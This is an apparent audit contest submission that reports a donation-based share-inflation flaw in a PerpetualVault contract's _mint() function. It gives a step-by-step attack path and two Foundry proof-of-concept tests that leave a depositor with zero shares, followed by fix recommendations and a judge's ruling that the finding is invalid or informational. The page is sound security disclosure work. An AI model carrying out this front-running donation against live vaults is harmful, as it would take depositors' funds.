DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Donation can be used to steal deposits from others and issue reduced shares

Description

_mint() relies on current collateralToken and indexToken balances to calculate how many shares need to be issued to the depositor:

File: contracts/PerpetualVault.sol
762: function _mint(uint256 depositId, uint256 amount, bool refundFee, MarketPrices memory prices) internal {
763: uint256 _shares;
764: if (totalShares == 0) {
765: _shares = depositInfo[depositId].amount * 1e8;
766: } else {
767: uint256 totalAmountBefore;
768: if (positionIsClosed == false && _isLongOneLeverage(beenLong)) {
769: totalAmountBefore = IERC20(indexToken).balanceOf(address(this)) - amount;
770: } else {
771:@---> totalAmountBefore = _totalAmount(prices) - amount;
772: }
773: if (totalAmountBefore == 0) totalAmountBefore = 1;
774:@---> _shares = amount * totalShares / totalAmountBefore;
775: }
776:
777: depositInfo[depositId].shares = _shares;
778: totalShares = totalShares + _shares;
779:
780: if (refundFee) {
781: uint256 usedFee = callbackGasLimit * tx.gasprice;
782: if (depositInfo[counter].executionFee > usedFee) {
783: try IGmxProxy(gmxProxy).refundExecutionFee(depositInfo[counter].owner, depositInfo[counter].executionFee - usedFee) {} catch {}
784: }
785: }
786:
787: emit Minted(depositId, depositInfo[depositId].owner, _shares, amount);
788: }

and

File: contracts/PerpetualVault.sol
821: function _totalAmount(MarketPrices memory prices) internal view returns (uint256) {
822: if (positionIsClosed) {
823: return collateralToken.balanceOf(address(this));
824: } else {
825: IVaultReader.PositionData memory positionData = vaultReader.getPositionInfo(curPositionKey, prices);
826:@---> uint256 total = IERC20(indexToken).balanceOf(address(this)) * prices.indexTokenPrice.min / prices.shortTokenPrice.min
827:@---> + collateralToken.balanceOf(address(this))
828: + positionData.netValue / prices.shortTokenPrice.min;
829:
830: return total;
831: }
832: }

This can be exploited by an attacker. They can donate some collateral tokens to the vault such that totalAmountBefore is inflated and _shares = amount * totalShares / totalAmountBefore evaluates to zero (or at least negatively impacted). This donation would happen before the afterOrderExecution() callback from GMX gets executed.

Please refer PoC section for a concrete example. Note that it's quite tricky to change the config params of the test suite hence the PoC sticks to the standard deposit amount of 100 USDC and the configured market prices. This results in the donation amount to come out to be a large figure. However for collateral tokens with 18 decimal precision and different market prices, this goes down significantly. Alternatively, attacker can choose to donate index tokens instead of collateral tokens, which would have the same effect.

Attack Path:

  1. Attacker has a position in the vault and owns some shares.

  2. A position is opened by the vault.

  3. Alice the naive user deposits some collateral tokens.

  4. During the deposit flow, Keeper calls runNextAction().

  5. After this, we wait for the GMX callback to afterOrderExecution().

  6. Attacker front-runs this callback (or back-runs step 4's runNextAction()) with a donation. Note that the attacker DOES NOT need to monitor the mempool (which is private) in any manner. Attacker can simply monitor on-chain txs and the moment they see runNextAction() is executed, they donate. Since the callback from GMX is likely to have some time lag, this would work.

  7. afterOrderExecution() gets called now which calls _mint(). Due to the donation, zero shares are issued to Alice even though funds have been deposited.

  8. Attacker can now withdraw their shares. Since withdrawal too depends on current balance of the vault, Alice's funds are siphoned off to the attacker.

Impact

Depositor's funds can be stolen by an attacker. Depositor receives less shares than expected.

Proof of Concept

Add these two tests inside test/PerpetualVault.t.sol and run via forge test --mt test_donationBug_Pass -vv --via-ir --rpc-url arbitrum. The first test, test_donationBug_Pass_1_someSharesMinted() shows the normal path where some shares are minted to the depositor. The second test, test_donationBug_Pass_2_zeroSharesMinted() shows how no shares are minted after an attacker's donation:

function test_donationBug_Pass_1_someSharesMinted() external {
address keeper = PerpetualVault(vault).keeper();
address alice = makeAddr("alice");
vm.deal(alice, 0.5 ether); // some ETH for gas fees
// ############################
console.log("\n=== Deposit1 === \n");
depositFixture(alice, 1e8);
MarketPrices memory prices = mockData.getMarketPrices();
bytes[] memory data = new bytes[](1);
data[0] = abi.encode(3380000000000000);
vm.prank(keeper);
PerpetualVault(vault).run(true, false, prices, data);
GmxOrderExecuted(true);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, data);
// ###############################
console.log("\n=== Deposit2 === \n");
depositFixture(alice, 1e8);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, data);
console.log("\nGMX callback starts");
GmxOrderExecuted(true);
console.log("GMX callback ends");
uint256[] memory aliceDeposits = PerpetualVault(vault).getUserDeposits(alice);
(,uint256 sharesIssued,,,,) = PerpetualVault(vault).depositInfo(aliceDeposits[1]);
assertGt(sharesIssued, 0);
}
function test_donationBug_Pass_2_zeroSharesMinted() external {
address keeper = PerpetualVault(vault).keeper();
address alice = makeAddr("alice");
vm.deal(alice, 0.5 ether); // some ETH for gas fees
// ############################
console.log("\n=== Deposit1 === \n");
depositFixture(alice, 1e8);
MarketPrices memory prices = mockData.getMarketPrices();
bytes[] memory data = new bytes[](1);
data[0] = abi.encode(3380000000000000);
vm.prank(keeper);
PerpetualVault(vault).run(true, false, prices, data);
GmxOrderExecuted(true);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, data);
// ###############################
console.log("\n=== Deposit2 === \n");
depositFixture(alice, 1e8);
vm.prank(keeper);
PerpetualVault(vault).runNextAction(prices, data);
// $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
// Attacker donates some collateral tokens by front-running GMX callback
console.log("\nAttacker Donates\n");
address attacker = makeAddr("attacker");
uint256 donationAmount = 1000582829999999900258284;
IERC20 collateralToken = PerpetualVault(vault).collateralToken();
deal(address(collateralToken), attacker, donationAmount);
vm.prank(attacker);
IERC20(collateralToken).transfer(vault, donationAmount);
// $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
console.log("\nGMX callback starts");
GmxOrderExecuted(true);
console.log("GMX callback ends");
uint256[] memory aliceDeposits = PerpetualVault(vault).getUserDeposits(alice);
(,uint256 sharesIssued,,,,) = PerpetualVault(vault).depositInfo(aliceDeposits[1]);
assertEq(sharesIssued, 0); // @audit-issue : no shares issued but funds taken from Alice
}

Recommendation

  • It would be better to track balances internally so that they can't be manipulated by donations.

  • Some initial "dead" shares can be minted to the protocol to make this attack unprofitable.

  • Set a minShares param which must be issued during deposits.

Updates

Lead Judging Commences

n0kto Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid_collateral_balanceOf_donation

Prevent tokens from getting stuck. This is a simple donation to every shareholder, and therefore, every share has more value (profit), leading to fewer shares for future users. If this is not intended by the user, it is merely a mistake! For totalAmountBefore > amount * totalShares, Here is the worst-case scenario (with the minimum amount): first deposit 0.001000 (e4) USDC → 1e12 shares. Second deposit: 0.001 (e4) USDC * 1e12 / 0.001 (e4) USDC. So, the attacker would need to donate 1e16 tokens, meaning 1e10 USDC → 10 billion $. Even in the worst case, it's informational.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.